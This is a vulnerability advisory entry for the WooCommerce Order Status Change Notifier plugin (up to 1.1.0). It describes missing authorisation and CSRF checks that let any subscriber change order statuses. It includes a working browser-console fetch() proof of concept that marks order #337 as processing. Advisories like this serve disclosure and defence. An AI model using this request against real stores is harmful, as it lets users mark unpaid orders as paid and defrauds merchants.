Lucene search

K
wpvulndbWpvulndbWPVDB-ID:FBC56973-4225-4F44-8C38-D488E57CD551
HistoryApr 19, 2023 - 12:00 a.m.

WooCommerce Order Status Change Notifier <= 1.1.0 - Subscriber+ Arbitrary Order Status Update

2023-04-1900:00:00
wpscan.com
5
woocommerce order status change
arbitrary order update
ajax action vulnerability
low privilege user
csrf vulnerability

0.001 Low

EPSS

Percentile

36.2%

The plugin does not have authorisation and CSRF when updating status orders via an AJAX action available to any authenticated users, which could allow low privilege users such as subscriber to update arbitrary order status, making them paid without actually paying for them for example

PoC

Run the below command in the developer console of the web browser while being logged in as a subscriber, this will change the status of the order #337 to processing fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: ‘action=wc_osc_update_order_status_comment&method;=change_status&order;_id=337&status;=processing’, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));

0.001 Low

EPSS

Percentile

36.2%

Related for WPVDB-ID:FBC56973-4225-4F44-8C38-D488E57CD551